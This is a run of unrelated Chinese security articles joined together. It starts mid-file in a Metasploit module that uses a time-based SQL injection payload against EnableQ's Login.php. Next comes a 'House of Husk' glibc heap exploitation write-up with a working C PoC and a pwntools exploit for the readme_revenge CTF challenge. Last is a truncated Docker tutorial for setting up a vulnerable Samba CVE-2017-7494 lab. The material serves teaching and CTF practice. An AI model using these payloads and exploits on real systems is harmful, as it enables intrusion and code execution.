 begin         timeout(3) do           swapname = username           swapname = "#{swapname}#{i}"           hex_swapname = swapname.each_byte.map { |b| b.to_s(16) }.join           postdata = {               'Action' => 'LoginSubmit',               'userName' => "test錦' or  administratorsID = 1 and administratorsName like 0x#{hex_swapname}25 and sleep(6)#",               'crumb' => "#{crumb}",               'remberme' => '0',               'userPass' => '8277e0910d750195b448797616e091ad',           }           send_request_cgi({                                'method' => 'POST',                                'uri' => normalize_uri(target_uri.path, "enableq", "System", "Login.php"),                                 'vars_post' => postdata,                                 'cookie' => "PHPSESSID=#{session_id}",                                 'headers' =>                                     {                                        "x-forwarded-for" => "#{rand_xff}"                                    }                            })         end       rescue TimeoutError         getres = 0         username = "#{username}#{i}"         print_good("#{username}")         sleep(3)         break       end     end   end end 漏洞说明中给的exp是用延时注入,所以我这里也就使用延时的方法来。 这段代码里更多的是ruby使用的问题,理解漏洞后也没啥技巧可谈。。。。 **结尾:** 模块的编写很简单,漏洞搞清楚了,写起来还是很快的,遇到不明白的可以参考别人的,也可以去翻文档看源码。 **参考:** [http://www.rubydoc.info/github/rapid7/metasploit-framework/](http://www.rubydoc.info/github/rapid7/metasploit-framework/) <http://www.aikaiyuan.com/6324.html> [http://drops.wooyun.org/tips/14408](http://drops.wooyun.org/tips/14408) [http://doc.metascan.cn/](http://doc.metascan.cn/)
社区文章
# house-of-husk学习笔记 ##### 译文声明 本文是翻译文章 译文仅供参考，具体内容表达以及含义原文为准。 ## 前言 在BUU群里看到`glzjin`师傅的每日推送，看到了一个有趣的glibc新型攻击方式，自己实践了一下，感觉还是挺好用的，在某些情况下比传统攻击更方便，这里结合源码和自己的调试和大家分享一下，如果有哪里不对恳请师傅们斧正。该攻击链发现者的博文如下:[House of Husk (仮)](https://ptr-yudai.hatenablog.com/entry/2020/04/02/111507)。本文用到的代码等文件在这里[文件](https://github.com/xmzyshypnc/xz_files) ## 攻击原理 这种攻击方式主要是利用了`printf`的一个调用链，应用场景是只能分配较大chunk时(超过fastbin)，存在或可以构造出UAF漏洞。 首先从源码角度简单分析攻击背后的原理。在使用`printf`类格式化字符串函数进行输出的时候，该类函数会根据我们格式化字符串的种类不同而采取不同的输出格式进行输出，在glibc中有这样一个函数`__register_printf_function`，为格式化字符为`spec`的格式化输出注册函数，这个函数是`__register_printf_specifier`函数的封装。 跟进__register_printf_specifier函数，如果格式化符超过0xff或小于0，即不在ascii码则返回-1，如果__printf_arginfo_table为空就通过calloc分配堆内存存放__printf_arginfo_table以及__printf_function_table。两个表空间都为0x100，可以为0-0xff的每个字符注册一个函数指针，第一个表后面紧接着第二个表。 /* Register FUNC to be called to format SPEC specifiers. */ int __register_printf_function (int spec, printf_function converter, printf_arginfo_function arginfo) { return __register_printf_specifier (spec, converter, (printf_arginfo_size_function*) arginfo); } /* Register FUNC to be called to format SPEC specifiers. */ int __register_printf_specifier (int spec, printf_function converter, printf_arginfo_size_function arginfo) { if (spec < 0 || spec > (int) UCHAR_MAX) { __set_errno (EINVAL); return -1; } int result = 0; __libc_lock_lock (lock); if (__printf_function_table == NULL) { __printf_arginfo_table = (printf_arginfo_size_function **) calloc (UCHAR_MAX + 1, sizeof (void *) * 2); if (__printf_arginfo_table == NULL) { result = -1; goto out; } __printf_function_table = (printf_function **) (__printf_arginfo_table + UCHAR_MAX + 1); } __printf_function_table[spec] = converter; __printf_arginfo_table[spec] = arginfo; out: __libc_lock_unlock (lock); return result; } `__printf_function_table`spec索引处的类型为`printf_function`的函数指针是我们为chr(spec)这个格式化字符注册的输出函数的函数指针，这个函数在`printf->vfprintf->printf_positional`中被调用。 /* Type of a printf specifier-handler function. STREAM is the FILE on which to write output. INFO gives information about the format specification. ARGS is a vector of pointers to the argument data; the number of pointers will be the number returned by the associated arginfo function for the same INFO. The function should return the number of characters written, or -1 for errors. */ typedef int printf_function (FILE *__stream, const struct printf_info *__info, const void *const *__args); //glibc-2.27/vfprintf.c:1985 extern printf_function **__printf_function_table; int function_done; if (spec <= UCHAR_MAX && __printf_function_table != NULL && __printf_function_table[(size_t) spec] != NULL) { const void **ptr = alloca (specs[nspecs_done].ndata_args * sizeof (const void *)); /* Fill in an array of pointers to the argument values. */ for (unsigned int i = 0; i < specs[nspecs_done].ndata_args; ++i) ptr[i] = &args_value[specs[nspecs_done].data_arg + i]; /* Call the function. */ function_done = __printf_function_table[(size_t) spec] (s, &specs[nspecs_done].info, ptr); if (function_done != -2) { /* If an error occurred we don't have information about # of chars. */ if (function_done < 0) { /* Function has set errno. */ done = -1; goto all_done; } done_add (function_done); break; } } `__printf_arginfo_table`spec索引处的类型为`printf_arginfo_size_function`的函数指针是我们为chr(spec)这个格式化字符注册的输出函数的另一个函数指针，这个函数在`printf->vfprintf->printf_positional->__parse_one_specmb`中被调用。可以看到其返回值为格式化字符消耗的参数个数，猜测其功能是根据格式化字符做解析。 /* Type of a printf specifier-arginfo function. INFO gives information about the format specification. N, ARGTYPES, *SIZE has to contain the size of the parameter for user-defined types, and return value are as for parse_printf_format except that -1 should be returned if the handler cannot handle this case. This allows to partially overwrite the functionality of existing format specifiers. */ typedef int printf_arginfo_size_function (const struct printf_info *__info, size_t __n, int *__argtypes, int *__size); //glibc-2.27/printf-parsemb.c:307 /* Get the format specification. */ spec->info.spec = (wchar_t) *format++; spec->size = -1; if (__builtin_expect (__printf_function_table == NULL, 1) || spec->info.spec > UCHAR_MAX || __printf_arginfo_table[spec->info.spec] == NULL /* We don't try to get the types for all arguments if the format uses more than one. The normal case is covered though. If the call returns -1 we continue with the normal specifiers. */ || (int) (spec->ndata_args = (*__printf_arginfo_table[spec->info.spec]) (&spec->info, 1, &spec->data_arg_type, &spec->size)) < 0) { /* Find the data argument types of a built-in spec. */ spec->ndata_args = 1; struct printf_spec { /* Information parsed from the format spec. */ struct printf_info info; /* Pointers into the format string for the end of this format spec and the next (or to the end of the string if no more). */ const UCHAR_T *end_of_fmt, *next_fmt; /* Position of arguments for precision and width, or -1 if `info' has the constant value. */ int prec_arg, width_arg; int data_arg; /* Position of data argument. */ int data_arg_type; /* Type of first argument. */ /* Number of arguments consumed by this format specifier. */ size_t ndata_args; /* Size of the parameter for PA_USER type. */ int size; }; 此外，在vfprintf函数中如果检测到我们注册的table不为空，则对于格式化字符不走默认的输出函数而是调用`printf_positional`函数，进而可以调用到表中的函数指针。 至此，两个调用链的分析就完成了，我们再来结合poc分析一下今天要谈论的攻击方式是如何和printf结合的。 //glibc-2.27/vfprintf.c:1335 /* Use the slow path in case any printf handler is registered. */ if (__glibc_unlikely (__printf_function_table != NULL || __printf_modifier_table != NULL || __printf_va_arg_table != NULL)) goto do_positional; /* Hand off processing for positional parameters. */ do_positional: if (__glibc_unlikely (workstart != NULL)) { free (workstart); workstart = NULL; } done = printf_positional (s, format, readonly_format, ap, &ap_save, done, nspecs_done, lead_str_end, work_buffer, save_errno, grouping, thousands_sep); ## poc分析 这里使用的poc就直接用攻击发现者提供的源代码，运行环境为`ubuntu 18.04/glibc 2.27`，编译命令为`gcc ./poc.c -g -fPIE -no-pie -o poc`(关闭pie方便调试)。 代码模拟了UAF漏洞，先分配一个超过fastbin的块，释放之后会进入`unsorted bin`。预先分配两个chunk，第一个用来伪造`__printf_function_table`，第二个用来伪造`__printf_arginfo_table`。将`__printf_arginfo_table['X']`处的函数指针改为`one_gadget`。 使用`unsorted bin attack`改写`global_max_fast`为`main_arena+88`从而使得释放的所有块都按fastbin处理(都是超过large bin大小的堆块不会进tcache)。 在这里有一个很重要的知识就是fastbin的堆块地址会存放在main_arena中，从`main_arena+8`开始存放`fastbin[0x20]`的头指针，一直往后推，由于平时的fastbin默认阈值为`0x80`，所以在glibc-2.23的环境下最多存放到main_arena+0x48，现在我们将阈值改为`0x7f*`导致几乎所有sz的chunk都被当做fastbin，其地址会从main_arena+8开始，根据sz不同往libc覆写堆地址。如此一来，只要我们计算好`__printf_arginfo_table`和`main_arena`的地址偏移，进而得到合适的`sz`，就可以在之后释放这个伪造table的chunk时覆写`__printf_arginfo_table`为`heap_addr`。这种利用方式在`*CTF2019->heap_master`的题解中我曾经使用过，详情可以参见[Star CTF heap_master的1.2.4.3](https://ama2in9.top/2020/01/02/heap_master/)。 有了上述知识铺垫，整个攻击流程就比较清晰了，总结一下，先UAF改global_max_fast为main_arena+88，之后释放合适sz的块到fastbin，从而覆写`__printf_arginfo_table`表为heap地址，`heap['X']`被覆写为了one_gadget，在调用这个函数指针时即可get shell。 /** * This is a Proof-of-Concept for House of Husk * This PoC is supposed to be run with libc-2.27. */ #include <stdio.h> #include <stdlib.h> #define offset2size(ofs) ((ofs) * 2 - 0x10) #define MAIN_ARENA 0x3ebc40 #define MAIN_ARENA_DELTA 0x60 #define GLOBAL_MAX_FAST 0x3ed940 #define PRINTF_FUNCTABLE 0x3f0658 #define PRINTF_ARGINFO 0x3ec870 #define ONE_GADGET 0x10a38c int main (void) { unsigned long libc_base; char *a[10]; setbuf(stdout, NULL); // make printf quiet /* leak libc */ a[0] = malloc(0x500); /* UAF chunk */ a[1] = malloc(offset2size(PRINTF_FUNCTABLE - MAIN_ARENA)); a[2] = malloc(offset2size(PRINTF_ARGINFO - MAIN_ARENA)); a[3] = malloc(0x500); /* avoid consolidation */ free(a[0]); libc_base = *(unsigned long*)a[0] - MAIN_ARENA - MAIN_ARENA_DELTA; printf("libc @ 0x%lxn", libc_base); /* prepare fake printf arginfo table */ *(unsigned long*)(a[2] + ('X' - 2) * 8) = libc_base + ONE_GADGET; //*(unsigned long*)(a[1] + ('X' - 2) * 8) = libc_base + ONE_GADGET; //now __printf_arginfo_table['X'] = one_gadget; /* unsorted bin attack */ *(unsigned long*)(a[0] + 8) = libc_base + GLOBAL_MAX_FAST - 0x10; a[0] = malloc(0x500); /* overwrite global_max_fast */ /* overwrite __printf_arginfo_table and __printf_function_table */ free(a[1]);// __printf_function_table => a heap_addr which is not NULL free(a[2]);//__printf_arginfo_table => one_gadget /* ignite! */ printf("%X", 0); return 0; } ## 动态分析 glibc的调试我们用的比较多了，在涉及到库函数的时候最好结合源码进行调试，在[glibc下载](https://ftp.gnu.org/gnu/glibc/glibc-2.27.tar.gz)这里下载源码，解压之后使用`directory`添加源码目录 b* 0x400774 directory ~/Desktop/CTF/glibc-2.27/stdio-common r parseheap 在printf下断点，可以看到此时`__printf_arginfo_table`伪造完成，我们使用`rwatch *0x60be50`下内存断点，继续运行。 可以看到运行到了`__parse_one_specmb`函数，再跟进两步，发现最终调用了`rax`寄存器里的`one_gadget` ## 扩展 当然，除了覆写第二个table外，改第一个一样可以get shell，流程和调试我们已经讲的差不多了，这里只需把one_gadget赋值代码改为`*(unsigned long*)(a[1] + ('X' - 2) * 8) = libc_base + ONE_GADGET;`即可，我们用同样方式在gdb下调试poc并设置硬件断点 continue继续，可以看到在`printf_positional`断住，跟进两步，最终调用了`rax`里的`one_gadget` ## 练习 经过查找我发现这个知识在`34c3 CTF`的时候已经有过考察。原题为`readme_revenge`。 ### 漏洞分析&&漏洞利用 使用checksec查看保护机制，发现无PIE，got表可写，是静态文件，在IDA的字符串搜索中发现flag是存放在`.data`段的，因此只要想办法读flag就可以。 程序逻辑很简单，scanf里格式化字符为”%s”，因此我们可以溢出写，在scanf下断点可以看到`rsi`为`0x6b73e0`，又因为没有开PIE加上程序是静态的，libc地址相当于已知，我们可以从0x6b73e0开始在libc中的任意地址写。 wz@wz-virtual-machine:~/Desktop/CTF/house-of-husk$ checksec ./readme_revenge [*] '/home/wz/Desktop/CTF/house-of-husk/readme_revenge' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000) int __cdecl main(int argc, const char **argv, const char **envp) { _isoc99_scanf((unsigned __int64)&unk_48D184); printf((unsigned __int64)"Hi, %s. Bye.n"); return 0; } /* .data:00000000006B4040 public flag .data:00000000006B4040 flag db '34C3_XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX',0 */ 利用方法就是我们这里的printf注册函数的调用链，伪造`__printf_arginfo_table`，将`table['s']`改为`_stack_chk_fail_local`地址，将`__libc_argv`改为输入地址，在输入开始存放`flag_addr`。最终会调用`stack_chk_fail`来输出flag。注意这里的arginfo函数指针应该先于`__printf_function_table`的函数指针调用，所以我们改前者，后者不为NULL就好。 #coding=utf-8 from pwn import * context.update(arch='amd64',os='linux',log_level='info') context.terminal = ['tmux','split','-h'] debug = 1 elf = ELF('./readme_revenge') libc_offset = 0x3c4b20 gadgets = [0x45216,0x4526a,0xf02a4,0xf1147] if debug: libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') p = process('./readme_revenge') else: libc = ELF('./libc_local') p = remote('f.buuoj.cn',20173) printf_function_table = 0x6b7a28 printf_arginfo_table = 0x6b7aa8 input_addr = 0x6b73e0 stack_chk_fail = 0x4359b0 flag_addr = 0x6b4040 argv_addr = 0x6b7980 def exp(): #leak libc #gdb.attach(p,'b* 0x400a51') payload = p64(flag_addr) payload = payload.ljust(0x73*8,'x00') payload += p64(stack_chk_fail) payload = payload.ljust(argv_addr-input_addr,'x00') payload += p64(input_addr)#arg payload = payload.ljust(printf_function_table-input_addr,'x00') payload += p64(1)#func not null payload = payload.ljust(printf_arginfo_table-input_addr,'x00') payload += p64(input_addr)#arginfo func #raw_input() p.sendline(payload) p.interactive() exp() ### 调试 可以看到在输入完毕之后伪造的函数指针已经参数已经准备完毕，在调用`printf("..%s..")`的时候会调用我们的注册函数指针输出`argv[0]`处的flag。 ## 总结 这种攻击方式其实并不新鲜，我们既然能利用fastbin覆写main_arena后面的内容我们完全可以选择`__free_hook`这样更简单的目标，不过printf这条调用链确实是新鲜的知识，调试一番学到了很多。 ## 参考 [House of Husk (仮)](https://ptr-yudai.hatenablog.com/entry/2020/04/02/013910) [pwn 34C3CTF2017 readme_revenge](https://firmianay.github.io/2018/04/02/pwn_34c3ctf2017_readme_revenge.html)
社区文章
# 【技术分享】Windows 7 下使用 Docker 虚拟化秒部署“漏洞靶机”实操详解 ##### 译文声明 本文是翻译文章，文章来源：安全客 译文仅供参考，具体内容表达以及含义原文为准。 **** **** 译者：[myles007](http://bobao.360.cn/member/contribute?uid=749283137) 预估稿费：300RMB 投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿 **一、前言** **1\. 学习背景** 一开始本来是想搭建一个有关最近爆出的有关samaba共享的漏洞攻击环境的靶机（号称是linux版本的永恒之蓝），但是最后发现搞着搞着变成了研究docker 虚拟化去了。在整个部署的过程遇到了各种坑，这里我们把个人在学习过程中Get到的各种小技能分享于大家。 所以这篇文档的核心就是带着大家一起学习下了解怎样在Widows 7 环境下安装一个Doker 的环境，以及如果通过Docker来快速部署一个“漏洞靶机”，并实现外网对docker 容器的正常访问。 **2\. 内容概要** Docker 基础知识 window 7环境安装Docker Docker 容器部署靶机 实现外网对Docker容器的访问 CVE-2017-7494 Samba 远程代码执行漏洞 MSF框架下攻击演示 **二、Docker 基础知识** Docker 是一个开源的应用容器引擎，让开发者可以打包他们的应用以及依赖包到一个可移植的容器中，然后发布到任何流行的 Linux 机器上，即可以实现虚拟化。 容器是完全使用沙箱机制，相互之间不会有任何接口（类似 iPhone 的 app）。几乎没有性能开销，可以很容易地在机器和数据中心中运行。最重要的是，他们不依赖于任何语言、框架或包装系统。 **2.1 Docker 三个基本概念** 镜像(Image) 容器(Container) 仓库(Repository) 只要理解了上面这个是三个概念，我们就可以对Docker有个感性的认识了，大家快随我来吧。 **2.2 镜像(Image)** 2.2.1 理论概念 对于操作系统大家可能都很熟悉，操作系统一般分为内核和用户空间两部分。对于 Linux 来说，其内核启动后，会自动挂载 root 文件系统，并为用户空间支持，方便用户进行相应的数据操作。而 Docker 镜像（Image），就相当于是一个 root 文件系统。比如我们说到Docker官方镜像 ubuntu:14.04时,其实它就是一个包含了完整的 Ubuntu 14.04 最小系统的 root 文件系统。 Docker 镜像其实就是一个特殊的文件系统，除了提供容器运行时所需的程序、库、资源、配置等文件外，还包含了一些为运行时准备的一些配置参数（如匿名卷、环境变量、用户等）。镜像是不包含任何动态数据的，其内容在构建之后也不会被改变，也就是说数据与应用是完全分开的。 2.2.2 消化理解 其实技术上了这么多，对于我们这些想用Docker的人来说，我们只要知道Docker镜像就是一个xxx.iso的镜像压缩文件，且知道我们只要有了这个镜像压缩文件，通过Docker我们就可以快速部署一个我们想要的“靶机应用环境”，明确这个就OK了。 等到你用的很溜的时候，你再回来看这些利用理论概念，你就会发现豁然开朗，一切都是那么的So easy !!! **2.3 容器(Container)** 2.3.1 理论概念 那么说到容器，我们就要从镜像（Image）和容器（Container）的关系了解下容器，这里为了让大家更好的理解容器，我们就用一个类比来给大家解释下什么是容器。 如果大家对编程有点了解的话，Docker中所说的“镜像”与“容器”的关系就像是面向对象程序设计中的“ 类” 和“实例”的关系，我们知道“类”是静态定义好的，而“实例”是在“类”的基础上创建的动态可操作的对象。 “镜像”对应的就是“类”，其是静态的定义好； “容器”对应的就是“实例”，其就是之前定义好的类上创建出的一个动态对象。 对于容器，我们是可以被创建、启动、停止、删除、暂停等。 2.3.2 消化理解 那么说的再浅显一点就是：“镜像”是由各种大牛们整理好的“漏洞镜像环境”，然后打的一个包（xxx.iso哦！！！），而“容器”就是我们在获取到漏洞环境镜像后，在Docker引擎跑起来的真实的动态环境，而这个运行起来的“漏洞环境”就是“容器”了，也就是我们日思夜想想要的“漏洞环境靶机”了。 **2.4 Docker 仓库服务器（Docker Registry）** 2.4.1 理论概念 为什么我们能通过Docker可以快熟部署一个“漏洞环境靶机”能，就是因为有各种大牛分享出来的镜像，那这些镜像是不是应用该有一个可以集中存放和分发镜像的服务器呢，对了Docker Registry就是这样一个仓库服务。 我们要明确一个 Docker Registry 中可以包含多个仓库（Repository）；每个仓库可以包含多个标签（Tag）；每个标签它对应才是一个镜像。 通常，一个仓库会包含同一个软件不同版本的镜像，而标签就常用于对应该软件的各个版本。我们可以通过 <仓库名>:<标签> 的格式来指定具体是这个软件哪个版本的镜像。如果不给出标签，将以 latest 作为默认标签。以 Ubuntu 镜像 为例，ubuntu 是仓库的名字，其内包含有不同的版本标签，如，14.04, 16.04。我们可以通过 ubuntu:14.04，或者 ubuntu:16.04 来具体指定所需哪个版本的镜像。如果忽略了标签，比如 ubuntu，那将视为 ubuntu:latest。 仓库名经常以 两段式路径 形式出现，比如 jwilder/nginx-proxy，前者往往意味着 Docker Registry 多用户环境下的用户名，后者则往往是对应的软件名。但这并非绝对，取决于所使用的具体 Docker Registry 的软件或服务。 2.4.2 消化理解 简单的的理解Docker Registry，其它就是一个“服务器”，这个服务器里有很多的“各类镜像仓库”，而每个仓库里又存放着各种“镜像”，同时“镜像”使用不同的“标签”来区别不同的版本信息； 2.4.2 Docker 镜像仓库服务器收集 Docker 仓库其官方库在国外，所以对于我们天朝的小伙伴们来说，是件很痛苦的的事情，还好国内也有个仓库，下面就给大家贴出链接，当然我们想要的是漏洞环境镜像库，所以我也收集了一个，大家如果有什么新的好的镜像仓库，也请分享一下。 Dokcer官方仓库：<https://www.docker.com/> Docker国内仓库 网易蜂巢：<https://c.163.com/hub> daocloud：<http://hub.daocloud.io/> Dokcer漏洞仓库：<https://github.com/Medicean/VulApps> **三、Windows 7 for Docker 安装** **3.1 Windows 7 环境选择** 在这里不得不跟大家说下，个人选择使用Window 7 作为安装Docker环境的原因，由于个人PC配置比较低，跑不动Windows 10，所以一直在使用Window 7。我们如果对Dockerd的基础知识有点了解的话，我们知道docker其实使用Go语言在linux系统下开发运行的，也就是说起原始安装环境最好时linux,而如果想用window运行，就只能在window基础上先运行一个linux虚拟机，然后再在这个linux虚拟机下运行docker。 网上放出的比较多的windows 的安装教程，其大大部分都是基于windows 10 的系统进说明的，故我们这里就记录下个人在windows 7 下对于docker环境的部署安装。 **3.2 下载DockerToolbox安装包** 由于Docker 的官方现在地址不在咱们天朝，所以下载起来非常的不方便，这也是我们安装过程中遇到的第一个拦路虎了。在整个安装的过程中我就折腾了很久，后来发现国内有个站做的不错，可以直接进行安装包的下载，速度非常快，这里推荐给大家。 安装包名称：DockerToolbox.exe 主网站地址：<http://get.daocloud.io/> 最新安装包： http://dn-dao-github-mirror.daocloud.io/docker/toolbox/releases/download/v17.05.0-ce/DockerToolbox-17.05.0-ce.exe 注： 以上为个人遇到的第一个“坑”哦！！！（安装包的下载与选择） **3.3 DockerToolbox 安装** 有关于安装包的安装基本没有什么太多需要交代，咱们默认安装一路回车即可。在安装完后会在桌面多出3个软体图片。 Oracle VM VirtualBox ++++>>> 虚拟机 Kitematic (Alpha) ++++>>> 图形化管理工具 Docker Quickstart Terminal ++++>>> 终端管理 **3.4 启动docker** 预告： 前方会有一个“坑”，请大家注意！！！ 直接点击运行桌面的“Docker Quickstart Terminal”快捷方式启动docker,不过在启动过程中我们会发现，程序会去目录“C:Usersadmin.dockermachinecache”下寻找boot2docker.iso镜像文件，如果不存在会自动去github上下载，这样的下载的速度我们是可想而知的了，而且我基本上没有成功下载成功过，所以搞到这里我们是不是就很蛋疼呢，反正我是被坑大了。 小秘密：这里告诉大家一个秘密，其实在我们的docker的安装根目录下已经有一个 boot2docker.iso镜像，只是我也不知道为什么启动程序不去这里找。 那好吧，废话不多说我们就自己手动将这个ISO文件复制到上面截图的目录“C:Usersadmin.dockermachinecache”下（注：以你安装过程中的实际目录位置为准。），然后关闭当前的启动界面，再次启动“Docker”，此时我们会发现启动的非常顺利。至此整个windows 7 环境下的docker 环境我们就部署OK了。 注：以上为个人遇到的第二个“坑”哦，因为下载不了，Docker启动会过不去！！！（boot2docker.iso镜像文件） **四、 创建Docker容器** 终于来到Docker容器的创建了，接下来我们就进入到通过各种Docker管理工具进行Docker容器的创建了，其实Docker容器的创建真的很简单，基本上两条命令就能搞定了。 但是这里为了让大家更好的了解Docker的一些使用，我这里给大家简单的说下在Windows 环境下Docker部署的结构和几个管理的工具组件。 **4.1 Windows Docker 环境部署结构** 首先大家可以看看下面这个图，本张图主要是展现在三种操作系统（Linux/Windows/OS X）上 Docker 部署实现的不同结构，其实仔细观察会发现Docker的部署实现有两种结构类型。 直接部署Docker 环境 虚拟机+Linux虚拟主机部署Docker 环境 4.1.1 直接部署Docker 环境 前面有提到Docker 是基于GO语言在Linux平台上开发出来的程序，故Linux环境是其原生运行环境，所以Docker 是可以直接安装在相应的Linxu主机平台上。 4.1.2 虚拟机+Linux虚拟主机部署Docker 环境 那么Windows主机如果想要运行Docker环境怎么办呢？那就要借助于虚拟机环境了，所以从图中我们可以清晰的看到，Windows上安装Docker,其实现实部署了一个Linux虚拟机，然后在这个虚拟机里部署了Docker环境。 预告：这里说的Windows系统部署Docker环境的结构，就引起其后面说到的“外网默认是无法访问docker容器”问题的根源。 **4.2 Windows 下Docker 环境组件** Windows 下安装Docker后，其主体上分为两个组件部分，即Docker machine & Docker Client （1）Docker machine：其实就是虚拟机环境加上其内部的Docker环境； （2）Docker client：其是为Windows 提供一个管理Docker Machine环境的客户端工具。 **4.3 创建Docker 容器** 其实上面说的这么多，都是为了这里引出使用什么工具与怎么创建一个Docker容器（即靶机环境）。 4.3.1 管理工具 在Windows 环境下可以管理Docker容器的管理工具有多个，我这里了解的不下三个： （1）Docker Quickstart Terminal 这个工具是个命令行终端管理工具，我们双击它可以打开Docker machine服务，通过这个终端我们可以进行Dcoker容器的创建与管理。 （2）Git Bash 这个Git Bash 工具是个真正的客户端终端管理工具，我们只要选中桌面，右击鼠标节可以看到Git Bash Here了。不过我们每次使用它连接Docker machine时，需要配置环境变量，后面再创建Docker 容器时，会介绍给大家。 （3）Kitmatic(Alpha) 这个工具是一个图像好管理工具，由于其默认只能使用官方的镜像源以及图形化操作的局限性，这里不做过多的说明，大家自行研究。 （4）Virtual Box 想想，我们的这个Docker环境其实质就是部署在Viritul Box中的一个Linux虚拟机中，那么只要我们能管理这个linxu虚拟，也就可以管理Docker了。 4.3.2 创建容器命令 关于Windows下关于Docker的管理工具说了这么多，个人这里推荐使用Git Bash Docker客户端管理工具，当然前提是下在确认已经启动Docker环境后，所以这也是一种docker的管理方式。 OK,废话不多说了，直接上干货，各位看官请打起精神来呀，我们进入正题….. 4.3.2.1 初始化工作 （1） 第一步：启动Docker环境 选择“Docker Quickstart Terminal”，右击鼠标以管理员身份运行； （2）第二步：开启Git Bash客户端，配置环境变量 选中桌面，点击鼠标右键，选中“Git Bash Here”启动客户端；接着就是配置Docker Machine环境变量，具体过程分为两步： 查询环境变量要求 Administrator@USER-20170106BT MINGW64 ~/Desktop $ docker-machine env 执行环境变量要求语句 直接复制查询环境变量获取的最后一句脚本，执行即可（具体执行语句的内容以每个人的实际获取内容为准，以下语句为我个人环境变量查询后获取的内容）； Administrator@USER-20170106BT MINGW64 ~/Desktop $ eval $("C:Program FilesDocker Toolboxdocker-machine.exe" env) 4.3.2.2 下载镜像 使用以下语句，进行镜像的拉取（即下载），这里以快速部署一个ubuntu系统环境为例。 $ docker pull ubuntu:latest # 使用pull 命令进行“ubuntu最新版镜像”拉取 $ docker images #已拉取镜像内容查询 REPOSITORY                     TAG IMAGE         ID    CREATED            SIZE hub.c.163.com/library/ubuntu   latest  7b9b13f7b9c0    9 days ago        118MB 注： 截图中以c.163.com网易提供的docker库作为演示，主要是官方下载太慢了，如果大家可以忍受这个速度的话，推荐大家使用c.163.com的镜像库。 4.3.2.3 创建Ubutu系统环境(Docker容器) 别眨眼哦，现在就是见证奇迹的时刻了，秒部署一个ubuntu环境，执行的命令如下 Administrator@USER-20170106BT MINGW64 ~/Desktop $ winpty docker run -it hub.c.163.com/library/ubuntu:latest bash #创建docker容器 root@de0b90c6363d:/# root@de0b90c6363d:/# cat /etc/issue Ubuntu 16.04.2 LTS n l root@de0b90c6363d:/# uname -a Linux de0b90c6363d 4.4.66-boot2docker #1 SMP Fri May 5 20:44:25 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux root@de0b90c6363d:/# 看见了，秒建一个ubuntu环境，是不是很神奇呀，就这么一条命令敲下去，我们就有了一个ubuntu环境了。 **五、实现外网互联访问** 所以接下来，就是要实现外对docker容器的访问了，这里之所以要将“实现外网访问Docker容器”单独拿出来说，实在是因为网上真心没有什么资料说道在Windows 环境实现通过物理网卡来访问Docker宿主机中的Docker容器的方法，个人基本是来回找资料看视频，搞了两天才找到方案,所以这里一定要拿出来分享给大家。 **5.1 Docker Bridge 桥接模式** 5.1.2 四种互联模式 其实Docker容器网络互联有4种网络连接方式。我们在使用docker run 创建 Docker 容器时，可以用 –net 选项指定容器的网络模式，具体内容如下表。 但是有关于这4中模式的具体工作方式，我这里不做过的介绍，我们只重点关注bridge的工作方式。因为bridge模式是我们默认创建的docker容器的网络互联模式，也是我们将要用到的互联模式，通过bridge模式我们可以实现物理接口与docker容器接口的互联，具体实现配置，实际一个docker 配置参数就能搞定，即“-p”端口映射。 5.1.3 Bridge 网络互联详解 下图是一张Linux原生环境下的docker bridge桥接模式网络互联实现示意图，通过这张图我们可以清晰的看到“container1” & “container2”（即docker容器1 & 2）与物理宿主机的eth0接口是直接桥接在一起的，那么这也就意味着物理主机的网络是可以与docker容器直接互联互通的(当然还要在docker下简单配置下“端口映射”)。 小结：Linux 环境的宿主主机的网络是可以与docker容器接口直接互联的，只要配置好“端口映射”就可以实现docker容器应用的对外发布了。 5.1.4 Windows环境中docker 桥接 5.1.4.1 Windows环境下docker容器不能外网访问题分析 那么问题就来了，为什么Windows环境中docker 桥接会存在问题呢，下面就带大家一起看看问题的究竟。我们也来看看在indows环境中docker 桥接中各个接口是怎样的一个情况。 如果大家还记得前面4.2章节的“预告”内容，就会很容易看明白下面这一张docker容器网络互联逻辑图了。 我们可从图中看到在Windows环境中，docker容器是存在于一个linux虚拟机中的，也就说这个虚拟的linux主机才是docker环境的真正宿主主机，那docker容器被创建后，其与宿主机的eth0口可以直接“桥接”互联，但是与我们的物理主机“Windows主机”的“本地接口”并没有与其互联，这就可以理解为什么在Windows中的docker容器，我们无法从外网去访问他们的原因了。 5.1.4.2 Window环境下实在docker容器的外网互联 预告：全文最干的干货来了，大家请屏住呼吸跟我来… 这次就不卖关子了，简单的告诉大家怎样才能做到Windows环境下实现“docker容器的外网互联访问，具体实现两步即可。 （1）配置docker 容器的“端口映射” docker容器配置端口映射，其实很简单，只要在创建docker容器时，添加一个“-p”的参数即可，下面以创建一个TCP 445 端口映射的samba容器。 $ docker pull medicean/vulapps:s_samba_1   #1、下载samba漏洞镜像 $ docker run -d -p 445:445 samba:lastest   #2、创建镜像，并配置445的端口映射； 命令解释 （2）配置virtualbox的端口转发； 首先打开桌面的virturlbox，然后依次选择“设置”-“网络”-“网卡1”-“高级”-“端口转发”，编辑“端口转发”，具体配置项解释，请见截图。 （3）共享外网访问 直接通过物理网卡的接口地址 192.168.31.41进行共享访问，访问成功！！！ **六、Samba远程代码执行漏洞复现** **6.1 漏洞简介** 漏洞编号： CVE-2017-7494 影响版本： Samba 3.5.0到4.6.4/4.5.10/4.4.14的中间版本 漏洞利用条件： 攻击者利用漏洞可以进行远程代码执行，具体执行条件如下： 1\. 服务器打开了文件/打印机共享端口445，让其能够在公网上访问 2\. 共享文件拥有写入权限 3\. 恶意攻击者需猜解Samba服务端共享目录的物理路径 满足以上条件时，由于Samba能够为选定的目录创建网络共享，当恶意的客户端连接上一个可写的共享目录时，通过上传恶意的链接库文件，使服务端程序加载并执行它，从而实现远程代码执行。根据服务器的情况，攻击者还有可能以root身份执行。 **6.2 快速部署靶机环境** 预告：前面讲述了这么多的基础知识与操作过程，大家看了可能会觉的非常累，那么我们现在给大家上点真正的“干货”，跟我来… 6.2.1 安装Docker软件包 有关windows 7 下进docker环境的安装准备工作，请参照前面的详解内容逐步安装即可，这只简单个大家归纳下安装步骤和注意事项。 （1）下载docker 安装包 软件包下载地址： 